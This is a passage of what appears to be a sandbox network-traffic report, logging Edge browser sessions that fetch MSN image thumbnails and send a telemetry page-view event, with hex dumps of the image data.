2024-11-16 18:22:30 UTC	15865	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-16 18:22:30 UTC	16384	IN	Data Raw: fa ff 00 f7 69 ea ce 7b bd 0f 86 bd dc 79 b4 ad 5a 47 78 f2 6e 52 56 a0 06 98 e0 3e 8f ab b5 d1 2f 5e 5f c4 f6 7f 4a 4f dd 04 0e 4e af cb a4 4f 89 c7 59 f8 74 90 56 a1 a7 93 d7 58 e9 ad a6 34 83 4c 63 73 d8 55 95 0f b0 3c eb 96 cc 19 c4 3c 2e 77 2b de b6 98 4c 67 68 e6 ae a8 94 ca 68 9d cf 34 db 27 31 bf b7 37 d1 a0 5b b6 09 5a 12 a2 4e fa fb 3a fe ce a9 d2 07 20 6a 7d df 44 ba e8 c6 cd f5 65 58 e8 97 7b 01 33 fc c0 44 6f 65 5d e9 0f 4e 64 27 e7 ea f4 ee 08 3a ad 2f 41 fc 34 f4 c4 bc f5 f5 2a 41 8b ab 2a 23 f0 1a 79 8f 93 37 95 ff 00 4e a5 c7 1c 7f d4 cb 7d 62 fa 72 0d c0 a8 22 04 a7 2e 4d d7 be 25 65 62 89 9d e0 87 81 d4 75 26 f1 ae 1e 7e 4f 33 49 39 3b fb 78 de f6 6a b3 bf 25 9d a7 78 e9 bf 5a 98 ee a2 36 c4 38 8e bd 48 55 54 39 0c 7f ab e7 86 b4 72 7e Data Ascii: i{yZGxnRV>/^_JONOYtVX4LcsU<<.w+Lghh4'17[ZN: j}DeX{3Doe]Nd':/A4A#y7N}br".M%ebu&~O3I9;xj%xZ68HUT9r~
2024-11-16 18:22:30 UTC	2590	IN	Data Raw: 9c 7f c7 09 d7 7f 21 a5 35 da fe 95 aa 3f 31 6a 51 62 52 af c0 3d 9d 10 b3 f9 61 d8 59 e6 5c 4d c3 cd d2 50 d0 bd c5 df 84 ae 4c 4f d6 5b f1 7c 1f 11 3e 24 4e 8c ff 00 af 2c 59 7a cf 2f 66 f7 47 67 8d a2 73 0f de 17 0f 67 0d 6a df e4 ef c5 56 ff 00 26 77 1d 92 f0 bb 51 d1 b3 db b0 71 f1 55 bf c9 c7 c4 56 f6 77 3e cb f0 d2 31 04 b8 e9 47 3f 3f ab af 11 5f 89 c7 5a b7 fa 33 b9 23 dd fc 1e f3 f5 7e 94 7f e9 b8 19 de d7 56 c8 cd 49 1f 90 79 bf 6b fe 50 d4 e9 be c3 6f 94 7c 79 05 3d 51 54 0e f8 0a fa fa 3e 3c 48 7f 4a ff 00 90 5b 94 da 5f 14 fa 7d 4b f9 b7 6e de ef 1f 73 bf f0 fa 27 c0 d5 1d 45 ea 99 55 b4 9f 3a f9 bf a1 49 7f 35 f8 19 9b fc 2d ac 70 1a 92 7e 6f e9 4f 4c 7c 0a f9 97 c7 bf f9 09 ff 00 eb 4f aa 9f 0b fb 7a 3e e7 e3 a2 3a 90 77 db 4f aa 83 e1 77 Data Ascii: !5?1jQbR=aY\MPLO[\|>$N,Yz/fGgsgjV&wQqUVw>1G??_Z3#~VIykPo\|y=QT><HJ[_}Kns'EU:I5-p~oOL\|Oz>:wOw
2024-11-16 18:22:30 UTC	16384	IN	Data Raw: 6c 90 7e 72 74 de c2 9d 39 3a 6f 64 a7 4f cf cd 96 9e 7e 7e 7e 6f 64 f3 b7 4f cc d8 5c c3 94 b5 ba 6c 25 2e 2f cf cd 92 dd 39 3f 33 64 8b f3 93 a6 6c 3c fd 27 7b a7 e6 07 9f 9d 3f 30 2d f9 d3 f3 65 a5 bf 3a 75 2d ec 69 27 87 f1 40 15 d0 df e4 90 7d 94 1e d4 bc 6f 89 d7 a2 ea 3f 83 e6 1a b4 e4 71 3f f1 f4 cf 52 b3 f8 6d 9f 32 03 fa 83 f9 67 c0 0f fe 5a 86 fb 6a f5 05 fd 52 0e e2 d4 a2 c4 5e 5f 5e bf 0f a4 be af ff 00 19 1f e6 a7 cd eb 46 c7 cb fc 70 e8 e8 95 50 75 29 03 ce 7e 4c d8 91 c9 7c 01 20 f5 4a 57 e1 b6 af 32 03 fa 93 f9 e7 fc 75 00 9b ea e4 81 3c 49 3f 27 f4 58 1b fd 59 29 d8 a7 16 c8 fe 61 e7 f4 70 83 bc 37 b4 f1 53 8b bd 2a 72 16 d6 59 b1 a4 1c 5b 0d a5 0c da f4 1d ec d8 d2 9c 65 cb 47 37 7e 19 66 cf 45 b8 b9 94 1e 6e 30 ae 0d 6e 1e a8 7b c9 d7 Data Ascii: l~rt9:odO~~~odO\l%./9?3dl<'{?0-e:u-i'@}o?q?Rm2gZjR^_^FpPu)~L\| JW2u<I?'XY)ap7S*rY[eG7~fEn0n{
2024-11-16 18:22:30 UTC	16384	IN	Data Raw: 77 48 dd 5f a3 ce 36 94 95 6f 19 f2 64 04 19 4d 0a 89 dd 80 1c 5a d4 9d ca dc 8a 16 e5 5a 48 20 52 78 1d 91 9c b1 45 aa f7 44 57 13 58 0f a8 52 40 04 ea 49 38 81 38 b1 55 11 48 01 b9 f2 53 b8 86 48 09 3d c5 53 31 22 bb 5c 16 b2 a2 41 31 50 38 55 a5 64 1c 28 40 89 e5 be 99 30 4a cc d7 36 b5 6d 67 6e 9a 7a ab 14 32 23 96 18 38 2a dd b8 00 1d 27 9d 68 c2 d5 15 f4 72 17 0c cf 6a 37 ab d1 9d a4 9e e5 c2 37 7d 1e a5 92 bb 85 26 45 28 46 ee 67 93 c8 58 b7 cf 19 99 6d 08 ba 90 34 9a 67 c1 ef ad cf f5 44 c9 d5 2d 65 11 0a 04 80 5e 69 ba 6b de a6 13 cd 80 67 33 fb b1 2e 5c dd ec f9 f8 69 bf 2d 8e 37 a2 6b c1 8a 6e 95 3c 85 ad 5e de d5 ab 7d 9d 77 7b a3 2a ec 7d 13 19 19 6f 6d 04 05 12 71 88 c9 97 e1 a0 77 94 a2 92 aa 94 8c 18 61 4a b4 9c 7d b0 e3 cd e7 ae ea 95 59 Data Ascii: wH_6odMZZH RxEDWXR@I88UHSH=S1"\A1P8Ud(@0J6mgnz2#8'hrj77}&E(FgXm4gD-e^ikg3.\i-7kn<^}w{}omqwaJ}Y
2024-11-16 18:22:30 UTC	7952	IN	Data Raw: 03 20 ee a7 36 b6 0a 5f e2 9a 12 20 70 cf 73 49 ba 4d 04 bd 53 68 10 60 60 38 cb c1 5c 93 15 8e 54 79 f9 31 61 44 03 24 cf 10 e8 25 35 c4 9e 65 87 a5 39 06 c0 ac 33 6f 44 27 4e 99 ef 12 04 9e 7e 85 ad 17 14 09 27 3e d0 fc 14 a9 9c 31 07 9b b2 35 7e 68 8e d8 b4 06 db b8 46 27 0c bf 67 b8 be a9 5a 53 5d 31 80 c2 3f ab e5 2b 88 a6 ee db b9 b9 a1 5a 8e 75 e7 db 37 9d c7 6d 39 69 da 27 aa 4a d0 a2 b3 e2 15 6e ca 23 f1 70 8c 19 76 51 6e f9 25 29 00 8a d7 13 18 fb 63 c1 f3 bd 35 92 71 20 0a 57 70 e5 0f ab 45 b1 66 57 66 e6 a2 04 1a 7f 47 8d ed b9 1a ce fe 7c 17 fa 9b 96 8e 95 28 1c b0 23 63 c5 b9 d4 6b b9 09 c3 0e 43 b7 07 a8 bf 16 f2 aa 12 66 a4 c7 6a 36 5a e9 96 12 7f b6 90 33 94 87 7d a3 3b bf ab 1b 5e 00 ea d8 5e ba 7a 6b b7 52 08 56 94 6f 51 f2 64 7e 9a c8 Data Ascii: 6_ psIMSh``8\Ty1aD$%5e93oD'N~'>15~hF'gZS]1?+Zu7m9i'Jn#pvQn%)c5q WpEfWfG\|(#ckCfj6Z3};^^zkRVoQd~
2024-11-16 18:22:31 UTC	16384	IN	Data Raw: 75 0c 66 5f 1f db d4 ee eb fb 9d f7 02 75 dd 4a 7a 64 f8 09 1a 52 2d db 95 05 09 23 4c 80 a0 05 14 55 32 93 4c df 0e ab 9e 0a 50 4a 81 50 29 21 20 03 03 30 a7 d4 f5 5d 39 ea d3 73 a8 b5 6d 6a 4a 54 3c 44 d1 54 40 a1 91 a4 d4 62 2a 5f 11 72 fd b4 5d 25 16 d3 14 ee 99 00 1e 00 fc df 47 c7 35 35 d7 ab 1c ee ee fa 74 74 89 ea 6d eb 5d 11 a8 98 4d 62 99 49 02 49 e3 bd df 4b d5 78 61 49 d0 a5 a7 bc 94 8d 21 41 44 e4 a9 c8 45 5f 2e 7a 83 78 d7 45 b4 8c 02 53 f3 aa 8e d2 cb b2 2f 5d 3e 1d 92 a3 89 90 0c 40 ae 55 0f 5d 33 3b a9 4d 8b 88 2b d1 e1 dd d2 0f 77 ba 89 98 8d 11 89 19 82 30 c1 f3 55 7d 9d 9e 9a e1 04 2f c2 50 59 00 95 4a 94 6b f7 01 b0 b9 5e f8 75 a5 14 f8 4a d0 55 5d 2b 34 8c f0 07 4d 70 c9 e9 2a 1c 43 90 30 f5 ee f4 57 2d 02 b5 a6 83 1d 24 18 ac 4e f8 Data Ascii: uf_uJzdR-#LU2LPJP)! 0]9smjJT<DT@b_r]%G55ttm]MbIIKxaI!ADE_.zxES/]>@U]3;M+w0U}/PYJk^uJU]+4MpC0W-$N
2024-11-16 18:22:31 UTC	3976	IN	Data Raw: 61 9e d2 c5 2b d6 a1 f9 52 0c c3 b5 29 32 74 e1 95 73 7b 20 d0 77 6e c5 b5 34 cc 76 c1 8f aa 25 23 87 f5 7e 49 d5 49 e3 2e 94 71 55 71 da e9 22 bb b1 ae 5e de 8d a9 01 23 09 e7 12 dc 10 92 a4 92 4c 9c 07 6c 98 41 91 6e 4f 7a 83 09 a6 3f 37 aa 9b 69 b4 92 a2 75 6e 03 09 23 2a c3 6a 50 9e f2 4e 3f 8b e5 51 8e f7 02 09 14 39 e5 11 03 3f 93 a2 43 49 31 aa 9f 84 7f 56 f4 04 56 bc 66 a6 36 83 c7 26 25 c5 89 02 72 1b e7 80 f9 64 e0 a2 92 a8 c0 0e 78 ce 79 b4 67 85 81 12 ac e3 f3 61 38 d2 83 63 65 ce a1 1d d4 a2 b4 00 4d 72 dd 88 f7 79 25 15 c4 91 84 13 4e 2d 7a 27 55 30 aa 88 e7 97 ee c0 31 4a 93 24 98 34 10 6a e3 aa 23 bf 26 33 c4 72 8c fd 18 96 50 0d c4 a4 61 39 9c 06 f7 05 fd ea ca 14 40 e1 c5 b4 8d d4 60 9d 9c 8f cb 63 92 14 16 52 85 a8 c1 dd f5 ae 6f 26 b8 Data Ascii: a+R)2ts{ wn4v%#~II.qUq"^#LlAnOz?7iun#*jPN?Q9?CI1VVf6&%rdxyga8ceMry%N-z'U01J$4j#&3rPa9@`cRo&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.5	49829	23.38.189.114	443	7908	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:30 UTC	634	OUT	GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-16 18:22:30 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA13Q6AL Last-Modified: Sat, 02 Nov 2024 16:15:34 GMT X-Source-Length: 1658 X-Datacenter: eastus X-ActivityId: ea0e57a3-5607-4c33-987a-1fb59e967af8 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 1658 Cache-Control: public, max-age=381209 Expires: Thu, 21 Nov 2024 04:15:59 GMT Date: Sat, 16 Nov 2024 18:22:30 GMT Connection: close
2024-11-16 18:22:30 UTC	1658	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 06 2f 49 44 41 54 58 c3 d5 57 7d 6c 14 45 14 7f 33 b3 bb 77 d7 2b a5 e5 a3 48 a9 7c c4 10 82 44 12 25 d8 18 4d 8a 5a 35 11 49 0d d2 26 fc 51 03 c6 04 c3 57 03 25 a0 50 b0 11 21 d4 a4 26 02 51 f0 0b 22 06 12 30 a6 84 18 48 8a 5a 08 22 88 c4 80 80 f6 0f 3e 5a 01 11 90 c2 41 da bb 9d dd 19 df cc ee 6d f7 bc 83 16 89 31 ee e5 dd 9b 9d db 9d df ef fd de bc b7 7b 00 ff f1 41 ee f6 86 8d 0d 17 f3 be ed 3c bf 2d 61 d1 32 37 6a 15 09 d3 e0 c4 20 27 a4 41 b7 44 fb f7 db b4 6b 56 49 d7 bf 42 a0 a1 41 d2 a1 a2 e3 a5 7d 7f b6 6f 3a 2f ec b8 99 df 1f 68 3c 0f 88 45 01 0c 0a 04 4d 32 72 81 30 da 50 50 3c 6a d3 8e Data Ascii: PNGIHDR szzbKGD/IDATXW}lE3w+H\|D%MZ5I&QW%P!&Q"0HZ">ZAm1{A<-a27j 'ADkVIBA}o:/h<EM2r0PP<j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.5	49828	23.38.189.114	443	7908	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:30 UTC	633	OUT	GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-16 18:22:30 UTC	515	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Thu, 07 Nov 2024 01:31:10 GMT X-Datacenter: eastus X-ActivityId: c62b896e-0318-4a4b-9fe6-25e6c1dee8b4 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAc9vHK X-Source-Length: 1218 Content-Length: 1218 Cache-Control: public, max-age=371293 Expires: Thu, 21 Nov 2024 01:30:43 GMT Date: Sat, 16 Nov 2024 18:22:30 GMT Connection: close
2024-11-16 18:22:30 UTC	1218	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 71 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 35 2d 63 30 31 34 20 37 39 2e 31 35 31 34 38 31 2c 20 32 30 31 33 2f 30 33 2f 31 33 2d 31 32 3a 30 39 3a 31 35 20 20 Data Ascii: PNGIHDR szztEXtSoftwareAdobe ImageReadyqe<qiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.5	49820	13.69.116.109	443	7908	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:30 UTC	1082	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731781348339&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 3807 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=3A4078140C106EC03F536D2D0D356F1D; _EDGE_S=F=1&SID=2D0C79B8880E64711C856C8189B965E7; _EDGE_V=1
2024-11-16 18:22:30 UTC	3807	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 50 61 67 65 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 31 36 54 31 38 3a 32 32 3a 32 38 2e 33 33 35 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 31 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 32 66 66 65 65 65 39 33 2d 63 63 38 33 2d 34 39 31 38 2d 62 32 62 31 2d 30 66 32 39 65 38 37 36 64 66 38 64 22 2c 22 65 70 6f 63 68 22 3a 22 38 32 33 31 30 37 35 39 33 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 22 Data Ascii: {"name":"MS.News.Web.PageView","time":"2024-11-16T18:22:28.335Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":1,"installId":"2ffeee93-cc83-4918-b2b1-0f29e876df8d","epoch":"823107593"},"app":{"locale"
2024-11-16 18:22:30 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=9d743e13932d412d8ef5c84cbb6d2954&HASH=9d74&LV=202411&V=4&LU=1731781350379; Domain=.microsoft.com; Expires=Sun, 16 Nov 2025 18:22:30 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=c524c7805da34d5b9a48da2cbc6d8da6; Domain=.microsoft.com; Expires=Sat, 16 Nov 2024 18:52:30 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2040 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Sat, 16 Nov 2024 18:22:30 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.5	49827	23.38.189.114	443	7908	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:30 UTC	634	OUT	GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-16 18:22:30 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1lFz6G Last-Modified: Thu, 14 Nov 2024 01:05:02 GMT X-Source-Length: 5699 X-Datacenter: westus X-ActivityId: 17b03347-bb6f-457d-a77b-dd718d1aee67 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 5699 Cache-Control: public, max-age=197033 Expires: Tue, 19 Nov 2024 01:06:23 GMT Date: Sat, 16 Nov 2024 18:22:30 GMT Connection: close
2024-11-16 18:22:30 UTC	5699	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 84 65 58 49 66 4d 4d 00 2a 00 00 00 08 00 05 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 4a 01 1b 00 05 00 00 00 01 00 00 00 52 01 28 00 03 00 00 00 01 00 02 00 00 87 69 00 04 00 00 00 01 00 00 00 5a 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 00 32 a0 03 00 04 00 00 00 01 00 00 00 32 00 00 00 00 86 f1 c2 a8 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 Data Ascii: PNGIHDR22?gAMAa cHRMz&u0`:pQ<eXIfMM*JR(iZHH22pHYs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.5	49825	23.38.189.114	443	7908	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:30 UTC	634	OUT	GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-16 18:22:30 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sat, 26 Oct 2024 13:08:49 GMT X-Datacenter: westus X-ActivityId: f9118471-d63a-4ae1-a8c4-33a84d8a076d Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1hk7Sh X-Source-Length: 6962 Content-Length: 6962 Cache-Control: public, max-age=153774 Expires: Mon, 18 Nov 2024 13:05:24 GMT Date: Sat, 16 Nov 2024 18:22:30 GMT Connection: close
2024-11-16 18:22:30 UTC	6962	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 0c 3f 69 43 43 50 49 43 43 20 50 72 6f 66 69 6c 65 00 00 48 89 95 57 07 58 53 c9 16 9e 5b 92 90 90 84 12 40 40 4a e8 4d 10 a9 01 a4 84 d0 42 ef 08 36 42 12 20 94 18 03 41 c5 8e 2e 2a b8 76 b1 80 0d 5d 15 51 b0 02 62 47 ec 2c 8a bd 2f 16 54 94 75 b1 60 57 de a4 80 ae fb ca f7 e6 fb e6 ce 7f ff 39 f3 9f 33 e7 ce dc 7b 07 00 8d e3 3c 89 24 0f d5 04 20 5f 5c 28 8d 0f 0d 64 8e 4a 4d 63 92 9e 02 0c d0 01 15 38 01 4b 1e bf 40 c2 8e 8d 8d 04 b0 0c b4 7f 2f ef ae 03 44 de 5e 71 94 6b fd b3 ff bf 16 2d 81 b0 80 0f 00 12 0b 71 86 a0 80 9f 0f f1 7e 00 f0 2a be 44 5a 08 00 51 ce 5b 4c 2a 94 c8 31 ac 40 47 0a 03 84 78 be 1c 67 29 71 95 1c 67 28 f1 6e 85 4d 62 3c 07 Data Ascii: PNGIHDR22??iCCPICC ProfileHWXS[@@JMB6B A.v]QbG,/Tu`W93{<$ _\(dJMc8K@/D^qk-q~DZQ[L*1@Gxg)qg(nMb<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.5	49830	23.38.189.114	443	7908	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:30 UTC	634	OUT	GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-16 18:22:30 UTC	517	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1u24yb Last-Modified: Fri, 15 Nov 2024 07:55:37 GMT X-Source-Length: 3765 X-Datacenter: northeu X-ActivityId: a02c37a4-2bd7-4056-aa62-a9ddb69c33bb Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 3765 Cache-Control: public, max-age=307933 Expires: Wed, 20 Nov 2024 07:54:43 GMT Date: Sat, 16 Nov 2024 18:22:30 GMT Connection: close
